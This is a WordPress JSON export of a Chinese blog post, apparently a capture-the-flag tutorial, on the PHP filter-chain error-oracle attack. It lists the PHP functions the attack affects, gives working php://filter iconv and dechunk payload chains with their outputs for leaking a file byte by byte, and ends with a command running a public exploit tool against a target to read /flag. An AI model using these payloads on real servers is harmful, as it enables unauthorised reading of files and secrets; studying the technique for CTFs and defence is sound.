{"id":77,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=77"},"modified":"2026-03-15T11:40:25","modified_gmt":"2026-03-15T03:40:25","slug":"%e5%9f%ba%e4%ba%8eoracle%e7%9a%84%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/%e5%9f%ba%e4%ba%8eoracle%e7%9a%84%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e6%94%bb%e5%87%bb\/","title":{"rendered":"\u57fa\u4e8eoracle\u7684\u6587\u4ef6\u8bfb\u53d6\u653b\u51fb"},"content":{"rendered":"

\u57fa\u4e8eoracle\u7684\u6587\u4ef6\u8bfb\u53d6\u653b\u51fb<\/h1>\n

\u524d\u63d0\uff1a<\/h3>\n

\u6709\u4e9b\u51fd\u6570\u8bfb\u53d6\u6587\u4ef6\u4f46\u4e0d\u8f93\u51fa\u5185\u5bb9\uff0c\u8fd9\u65f6\u53ef\u5229\u7528\u4fa7\u4fe1\u9053\u653b\u51fb\uff0c\u5229\u7528\u62a5\u9519\u6765\u7206\u7834\u6587\u4ef6\u5185\u5bb9<\/p>\n

\u5982\uff1a<\/p>\n

<?php file($_POST[0]);<\/code><\/pre>\n
\u8fd9\u91cc\u5217\u51fa\u6240\u6709\u53d7\u5f71\u54cd\u51fd\u6570\uff1a<\/p>\n
md5_file($_POST[0]);\n\nsha1_file($_POST[0]);\n\nhash_file('md5', $_POST[0]);\n\nfile($_POST[0]);\n\nparse_ini_file($_POST[0]);\n\ncopy($_POST[0], '\/tmp\/test');\n\nfile_put_contents($_POST[0], \"\");\n\n$file = fopen($_POST[0], \"r\"); stream_get_contents($file);\n\n$file = fopen($_POST[0], \"r\"); fgets($file);\n\n$file = fopen($_POST[0], \"r\"); fread($file, 10000);\n\n$file = fopen($_POST[0], \"r\"); fgetc($file);\n\n$file = fopen($_POST[0], \"r\"); fgetcsv($file, 1000, \",\");\n\n$file = fopen($_POST[0], \"r\"); fpassthru($file);\n\n$file = fopen($_POST[0], \"rw\"); fputs($file, 0);<\/code><\/pre>\n
\u603b\u4f53\u653b\u51fb\u6b65\u9aa4\uff1a<\/h3>\n
1\uff1a\u901a\u8fc7iconv\u51fd\u6570\u7f16\u7801\u5bfc\u81f4php\u4ea7\u751f\u5185\u5b58\u62a5\u9519<\/p>\n
2\uff1a\u5229\u7528dechunk\u6765\u786e\u5b9a\u6587\u4ef6\u7b2c\u4e00\u4e2a\u5b57\u7b26<\/p>\n
3\uff1a\u5229\u7528\u80fd\u6539\u53d8\u5b57\u8282\u987a\u5e8f\u7684\u7f16\u7801,\u5229\u7528iconv\u5c06\u5269\u4f59\u5b57\u7b26\u4e0e\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4ea4\u6362<\/p>\n
\u901a\u8fc7iconv\u51fd\u6570\u7f16\u7801\u5bfc\u81f4php\u4ea7\u751f\u5185\u5b58\u62a5\u9519\u00a0\uff1a<\/h3>\n
convert.iconv\u8fc7\u6ee4\u5668\u4f1a\u56fa\u5b9a\u7528\u56db\u4e2a\u5b57\u8282\u8868\u793a\u4e00\u4e2a\u5b57\u7b26\uff0c\u6700\u4f4e\u6709\u6548\u5b57\u8282\u653e\u524d\u9762\uff0c\u800c\u6b63\u5e38ascll\u7801\u4e00\u4e2a\u5b57\u7b26\u5c31\u662f\u4e00\u5b57\u8282\uff0c\u800cphp\u9ed8\u8ba4\u8bfb\u53d6\u6587\u4ef6\u4e0d\u80fd\u8d85\u8fc7128M\uff0c\u518d\u5927\u5c31\u4f1a\u62a5\u9519\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4e0d\u65ad\u4f7f\u7528convert.iconv\u4f1a\u5bfc\u81f4\u62a5\u9519<\/p>\n
\u4f8b\uff1a<\/p>\n
php:\/\/filter\/convert.iconv.<source-encoding>.<target-encoding>\/resource=<filename><\/code><\/pre>\n
\u5229\u7528dechunk\u6765\u786e\u5b9a\u6587\u4ef6\u7b2c\u4e00\u4e2a\u5b57\u7b26\uff1a<\/h3>\n
dechunk\uff1a\u56e0\u4e3a\u5bf9\u4e8ehttp\u4e2d\u7684chunk\u7f16\u7801\u662f\u4ee516\u8fdb\u5236\u6765\u8868\u957f\u5ea6\u7684,\u6240\u4ee516\u8fdb\u5236\u5b57\u7b26\u8303\u56f4\u5728a-fA-F0-9\u8fd9\u4e2a\u8303\u56f4\u5185\uff0cdechunk\u4ec5\u80fd\u5bf9\u8fd9\u4e9b\u5b57\u7b26\u5904\u7406\uff0c\u5426\u5219\u8fd4\u56de\u7a7a\uff0c\u90a3\u4e48\u53ef\u4ee5\u8ddf\u524d\u9762\u7684iconv\u7ed3\u5408<\/p>\n
\u5f53\u524dflag\u6587\u4ef6\u9996\u5b57\u6bcd\u4e3aa\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE\/resource=flag\"));\n\u4e0d\u62a5\u9519\n\u518d\u52a0\u4e00\u5c42\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE\/resource=flag\"));\n\u62a5\u9519\nvar_dump(file_get_contents(\"php:\/\/filter\/dechunk\/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE\/resource=flag\"));\n\u4e0d\u62a5\u9519\n<\/code><\/pre>\n
\u8fd9\u6837\u5c31\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u7b26\u662f\u5426\u5728a-fA-F0-9\u8fd9\u4e2a\u8303\u56f4\u5185<\/p>\n
\u6cc4\u9732\u5269\u4f59\u5b57\u8282\uff1a<\/h3>\n
\u5904\u7406\u524d4\u4e2a\u5b57\u8282\uff1a<\/h5>\n
convert.iconv.CSUNICODE.UCS-2BE\u8fd9\u4e2a\u7f16\u7801\u89c4\u5219,\u5c06unicode\u8f6c\u6210ucs-2BE,\u5229\u7528\u8fd9\u4e2a\u7f16\u7801\u89c4\u5219\u6211\u4eec\u53ef\u4ee5\u524d\u540e\u4ea4\u6362\u6bcf\u4e24\u4e2a\u5b57\u8282\u7684\u4f4d\u7f6e\uff1a<\/p>\n
var_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.UCS-2BE\/resource=data:,abcdefgh\"));\nstring\uff1a\"badcfehg\"<\/code><\/pre>\n
\u4f7f\u7528\u00a0convert.iconv.UCS-4LE.10646-1:1993\u00a0\u6211\u4eec\u53ef\u4ee5\u5c06\u6bcf\u56db\u4e2a\u5b57\u8282\u7684\u4f4d\u7f6e\u9006\u5e8f\uff1a<\/p>\n
var_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.UCS-4LE.10646-1:1993\/resource=data:,abcdefgh\"));\nstring\uff1a\"dcbahgfe\"<\/code><\/pre>\n
\u5148\u7528convert.iconv.UCS-4LE.10646-1:1993\u5c31\u53ef\u4ee5\u5224\u65ad\u7b2c\u56db\u4e2a\u5b57\u7b26\uff0c\u7136\u540e\u518d\u7528convert.iconv.CSUNICODE.UCS-2BE\u5c31\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e09\u4e2a\uff0c\u6216\u8005\u987a\u5e8f\u98a0\u5012\u4e5f\u884c<\/p>\n
\u5904\u7406\u5269\u4f59\u5b57\u8282\uff1a<\/h5>\n
var_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.UCS-2BE|convert.iconv.UCS-4LE.10646-1:1993\/resource=data:,abcdefgh\"));\nstring\uff1a\"cdabghef\"<\/code><\/pre>\n
PHP\u518d\u5904\u7406BASE64\u5b57\u7b26\u4e32\u65f6\u4f1a\u5b8c\u5168\u5ffd\u7565\u975e\u6cd5\u5b57\u7b26,\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e9b\u7f16\u7801\u89c4\u5219\u6765\u5c06\u975e\u6cd5\u5b57\u7b26\u6dfb\u52a0\u5230\u5b57\u7b26\u4e32\u6700\u524d\u7aef,\u518d\u5229\u7528\u524d\u9762\u8bf4\u7684\u7ec4\u5408\u4ea4\u6362\u987a\u5e8f,\u518d\u5229\u7528base64decode\u6e05\u9664\u975e\u6cd5\u5b57\u7b26\u5373\u53ef\u5b8c\u6210\u628a\u540e\u7eed\u5b57\u7b26\u4ea4\u6362\u5230\u524d\u9762\u7684\u64cd\u4f5c\u4e86.<\/p>\n
\u4f8b\u5982convert.iconv.CSUNICODE.CSUNICODE<\/strong>\u00a0\u7f16\u7801\u89c4\u5219,\u5b83\u53ef\u4ee5\u5c06\u5b57\u7b26\u4e32\u6700\u524d\u7aef\u52a0\u4e0a0xff0xfe\uff1a<\/p>\n
var_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.CSUNICODE\/resource=data:,abcdef\"));\nstring\uff1b\"\ufffd\ufffdabcdef\"\n\n\/\/ \u4f7f\u7528 r4 \u8fdb\u884c\u79fb\u4f4d\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993\/resource=data:,abcdef\"));\nstring\uff1a\"ba\ufffd\ufffdfedc\"\n\n\/\/ \u4f7f\u7528 base64 \u53bb\u6389\u5197\u4f59\u4f4d\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode\/resource=data:,abcdef\"));\nstring\uff1a\"bafedQ==\"\n\n\/\/ \u518d\u6b21\u4f7f\u7528 r4 \u4ea4\u6362\u4f4d\u7f6e\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.10646-1:1993\/resource=data:,abcdef\"));\nstring\uff1a\"efab==Qd\"<\/code><\/pre>\n
\u4f46\u662f\u7531\u4e8econvert.iconv.UCS-4LE.10646-1:1993\u5904\u7406\u5b57\u7b26\u4e32\u957f\u5ea6\u5fc5\u987b\u662f\u56db\u7684\u500d\u6570\uff0c\u6240\u4ee5\u8fd8\u9700\u989d\u5916\u5904\u7406<\/p>\n
\u5229\u7528\u7b49\u53f7\u8865\u4f4d\uff1a<\/h5>\n
var_dump(file_get_contents(\"php:\/\/filter\/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7\/resource=data:,==\"));\n\/\/\"+---AD0-3D3D+---AD0-3D3D\"<\/code><\/pre>\n
\u4e0a\u9762\u8fd9\u4e2a\u4e1c\u897f\u4f1a\u56fa\u5b9a\u5c06\u4e24\u4e2a=\u8f6c\u5316\u4e3a+—AD0-3D3D+—AD0-3D3D\u3002\u90a3\u4e48\u539f\u5b57\u7b26\u4e32\u5c31\u6709\uff1a4n-2+24 = 4*(n+5) + 2\uff0c\u518d\u586b\u5145\u4e24\u4e2a\u975e\u6cd5\u5b57\u7b26\u521a\u597d\u662f12\u7684\u500d\u6570\uff0c<\/p>\n
\u90a3\u4e48\u5c31\u53ef\u4ee5\uff1a<\/p>\n
\/\/ \u5c06\u7b49\u53f7\u8fdb\u884c\u8f6c\u6362\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7\/resource=data:,abcdefghij==\"));\nstring(34) \"abcdefghij+---AD0-3D3D+---AD0-3D3D\"\n\n\/\/ \u5728\u524d\u7aef\u6dfb\u52a0\u5197\u4f59\u5b57\u7b26\u4e32\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE\/resource=data:,abcdefghij==\"));\nstring(36) \"\ufffd\ufffdabcdefghij+---AD0-3D3D+---AD0-3D3D\"\n\n\/\/ \u4f7f\u7528 r4\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993\/resource=data:,abcdefghij==\"));\nstring(36) \"ba\ufffd\ufffdfedcjihg---+-0DAD3D3---+-0DAD3D3\"\n\n\/\/ \u53bb\u9664\u5197\u4f59\nvar_dump(file_get_contents(\"php:\/\/filter\/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode\/resource=data:,abcdefghij==\"));\nstring(28) \"bafedcjihg+0DAD3D3+0DAD3Dw==\"\n<\/code><\/pre>\n
\u8fd9\u56db\u6b65\u53eb\u4e00\u4e2aflip\u64cd\u4f5c<\/p>\n
\u53ef\u4ee5\u89c2\u5bdf\u5230\u89c4\u5f8b,\u6bcf\u6b21\u4f7f\u7528flip+convert.iconv.UCS-4LE.10646-1:1993\u90fd\u4f1a\u4f7f\u5b57\u7b26\u524d\u8fdb4\u4e2a\u5b57\u7b26\u4f4d\u7f6e\u90a3\u4e48\u5bf9\u7b2cn\u4e2a\u5b57\u7b26\u53ef\u4ee5\u8fdb\u884cn\/4\u6b21flip+convert.iconv.UCS-4LE.10646-1:1993\u518d\u8fdb\u884c\u5fae\u8c03<\/p>\n
\u4f46\u4ee5\u4e0a\u7684\u6240\u6709\u7684\u7406\u8bba\u90fd\u6765\u81ea\u4e8e\u4e00\u4e2a\u6761\u4ef6,\u90a3\u5c31\u662f\u4e00\u4e2a\u62e5\u6709\u4e24\u4e2a\u7b49\u53f7\u7684base64\u5b57\u7b26\u4e32,\u5982\u679c\u6211\u4eec\u5c06\u6587\u4ef6\u5185\u5bb9\u8fdb\u884cbase64\u7f16\u7801\u540e\u5e76\u6ca1\u6709\u4e24\u4e2a\u7b49\u53f7\u7684\u8bdd,\u4ee5\u4e0a\u5c31\u4e0d\u6210\u7acb\u4e86.<\/p>\n
convert.quoted-printable-encode\uff1a\u8fd9\u4e2a\u7f16\u7801\u4f1a\u5c06\u4e00\u4e2a=\u7f16\u7801\u6210=3D,\u4ece\u4e00\u4e2a\u5b57\u8282\u53d8\u6210\u4e863\u4e2a\u5b57\u8282,\u800c\u5bf9\u5176\u4ed6\u6570\u5b57\u5b57\u6bcd\u5e76\u4e0d\u4f1a\u751f\u6548\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u5229\u7528\u662f\u5426\u53d1\u751f\u5185\u5b58\u9519\u8bef\u5224\u65ad\u5b57\u7b26\u4e32\u662f\u5426\u6709\u7b49\u53f7<\/p>\n
convert.iconv..CSISO2022KR\uff1a\u8fd9\u4e2a\u7f16\u7801\u53ef\u4ee5\u8ba9\u5b57\u7b26\u4e32base64\u540e\u7684=\u53f7\u72b6\u6001\u8f6c\u79fb\uff080\u52301\u52302\u5faa\u73af\uff09<\/p>\n
\u90a3\u4e48\u6211\u4eec\u4f7f\u7528convert.quoted-printable-encode\u548cconvert.iconv..CSISO2022KR\u5224\u65ad\u51fa\u6ca1\u6709=\u53f7\u7684base64\u7f16\u7801\u540e\u518d\u8865\u4e24\u4e2aconvert.iconv..CSISO2022KR\u5373\u53ef\u5f97\u5230\u6709\u4e24\u4e2a=\u7684base64\u5b57\u7b26\u4e32<\/p>\n
\u5224\u65ad\u5b57\u7b26\uff1a<\/h3>\n
\u6211\u4eec\u73b0\u5728\u53ea\u80fd\u5224\u65ad\u5b57\u7b26\u662f\u5426\u5728\u4e00\u4e2a\u5927\u6982\u8303\u56f4\u5185,\u6211\u4eec\u63a5\u4e0b\u6765\u7684\u76ee\u7684\u5c31\u662f\u8bbe\u6cd5\u51c6\u786e\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u8282.<\/p>\n
rot1 = 'convert.iconv.437.CP930'\uff1a\u4f1a\u5c06\u5b57\u6bcd\u5411\u540e\u79fb\u52a8\u4e00\u4f4d\uff0c\u4f46\u662f\u53ea\u5bf9\u90e8\u5206\u5b57\u6bcd\u6709\u6548\uff0c\u521d\u6b65\u6d4b\u8bd5\u4e3a a-h \u8303\u56f4\uff0c\u4e0d\u5305\u62ec\u6570\u5b57\uff0c\u5176\u4ed6\u5b57\u6bcd\u4f1a\u6709\u5176\u4ed6\u89c4\u5219 i->q\n\nrot13 = 'string.rot13'\uff1a\u5411\u540e\u79fb\u52a8 13 \u4f4d\n\ntolower = 'string.tolower'\uff1a\u5c06\u5927\u5199\u5b57\u6bcd\u8f6c\u6362\u6210\u5c0f\u5199<\/code><\/pre>\n
\u5bf9\u4e8ea-e\uff0c\u53ef\u6839\u636e\u4f7f\u7528rot1\u5bfc\u81f4\u4e0d\u62a5\u9519\u7684rot1\u4f7f\u7528\u6b21\u6570\u5224\u65ad<\/p>\n
\u5bf9\u4e8ef\uff1a\u9664\u4f7f\u7528rot1\u5916\u9700\u989d\u5916\u4f7f\u7528convert.iconv.CP1390.CSIBM932\u533a\u5206f\u4e0e\u6570\u5b57\uff08\u5c06f\u6e05\u7a7a\uff0c\u5c06\u6570\u5b57\u8f6c\u5316\u4e3a\u4e0d\u53ef\u89c1\u5b57\u7b26\uff09<\/p>\n
i-k\uff1a\u4f7f\u7528rot1\u8f6c\u5316\u4e3aq-s\uff0c\u518d\u7528rot13\u8f6c\u5316\u4e3ad-f\u5224\u65ad<\/p>\n
v-x\uff1arot13\u8f6c\u6210i-k\u518d\u5224\u65ad<\/p>\n
n-s\uff1arot13\u8f6c\u4e3aa-f\u5224\u65ad<\/p>\n
\u90a3\u4e48\u5c31\u5269\u4e0bg\uff0ch\uff0cl\uff0cm\uff0ct\uff0cu\uff0cy\uff0cz\u548c0-9<\/p>\n
\u53ef\u4ee5\u6709base64\u7f16\u7801\u540e\u518d\u5224\u65ad\u3002\u5c06\u5b57\u7b26\u63d0\u81f3\u9996\u4f4d\u540e\u5176ascii\u8868\u7684\u503c\u8f6c\u5316\u4e3a\u4e8c\u8fdb\u5236\u540e\u7684\u524d\u516d\u4f4d\u53ef\u4ee5\u786e\u5b9a\u4e00\u4e2a\u56fa\u5b9a\u7684\u9996\u5b57\u7b26\uff0c\u4ee5\u540e\u4e24\u4f4d\u5f00\u5934\u7684\u516d\u4f4d\u4e8c\u8fdb\u5236\u53ef\u8f6c\u5316\u4e3a\u7684base64\u5b57\u7b26\u4e5f\u662f\u6709\u9650\u7684\uff0c\u4e0b\u9762\u7ed9\u51fa\u8868<\/p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\u5b57\u7b26<\/th>\n\u9996base64\u5b57\u7b26<\/th>\n\u7b2c\u4e8c\u4f4dbase64\u5b57\u7b26\u7684\u53ef\u80fd\u503c<\/th>\n<\/tr>\n<\/thead>\n
g<\/td>\nZ<\/td>\nw, x, y, z, 0\u20139, +, \/<\/td>\n<\/tr>\n
h<\/td>\na<\/td>\nA, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P<\/td>\n<\/tr>\n
l<\/td>\nb<\/td>\nA\u2013P<\/td>\n<\/tr>\n
m<\/td>\nb<\/td>\nQ, R, S, T, U, V, W, X, Y, Z, a, b, c, d, e, f<\/td>\n<\/tr>\n
t<\/td>\nd<\/td>\nA\u2013P<\/td>\n<\/tr>\n
u<\/td>\nd<\/td>\nQ\u2013f<\/td>\n<\/tr>\n
y<\/td>\ne<\/td>\nQ\u2013f<\/td>\n<\/tr>\n
z<\/td>\ne<\/td>\ng, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v<\/td>\n<\/tr>\n
0<\/td>\nM<\/td>\nA\u2013P<\/td>\n<\/tr>\n
1<\/td>\nM<\/td>\nQ\u2013f<\/td>\n<\/tr>\n
2<\/td>\nM<\/td>\ng\u2013v<\/td>\n<\/tr>\n
3<\/td>\nM<\/td>\nw\u2013z, 0\u20139, +, \/<\/td>\n<\/tr>\n
4<\/td>\nN<\/td>\nA\u2013P<\/td>\n<\/tr>\n
5<\/td>\nN<\/td>\nQ\u2013f<\/td>\n<\/tr>\n
6<\/td>\nN<\/td>\ng\u2013v<\/td>\n<\/tr>\n
7<\/td>\nN<\/td>\nw\u2013z, 0\u20139, +, \/<\/td>\n<\/tr>\n
8<\/td>\nO<\/td>\nA\u2013P<\/td>\n<\/tr>\n
9<\/td>\nO<\/td>\nQ\u2013f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
\u90a3\u4e48\u5c31\u7ed3\u675f\u4e86\uff0c\u5f88\u7262\u5bf9\u5427\uff0c\u6709\u6ca1\u6709\u66f4\u7b80\u5355\u65b9\u6cd5\uff1f<\/p>\n
\u6709\u7684\uff0c\u8fd9\u91cc\u7ed9\u51fa\u4e00\u628a\u68ad\u5de5\u5177\uff1a<\/p>\n
https:\/\/github.com\/synacktiv\/php_filter_chains_oracle_exploit<\/a><\/p>\n
\u6307\u4ee4\uff1apython .filters_chain_oracle_exploit.py –target http:\/\/12.0.0.7:8080<\/a> –parameter a –file \/flag –time_based_attack True –match "Allowed memory size"<\/p>\n","protected":false},"excerpt":{"rendered":"
\u57fa\u4e8eoracle\u7684\u6587\u4ef6\u8bfb\u53d6\u653b\u51fb \u524d\u63d0\uff1a \u6709\u4e9b\u51fd\u6570\u8bfb\u53d6\u6587\u4ef6\u4f46\u4e0d\u8f93\u51fa\u5185\u5bb9\uff0c\u8fd9\u65f6\u53ef\u5229\u7528\u4fa7\u4fe1\u9053\u653b\u51fb\uff0c\u5229\u7528\u62a5\u9519\u6765\u7206\u7834\u6587\u4ef6 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-77","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/77","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=77"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/77\/revisions"}],"predecessor-version":[{"id":92,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/77\/revisions\/92"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=77"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=77"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=77"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}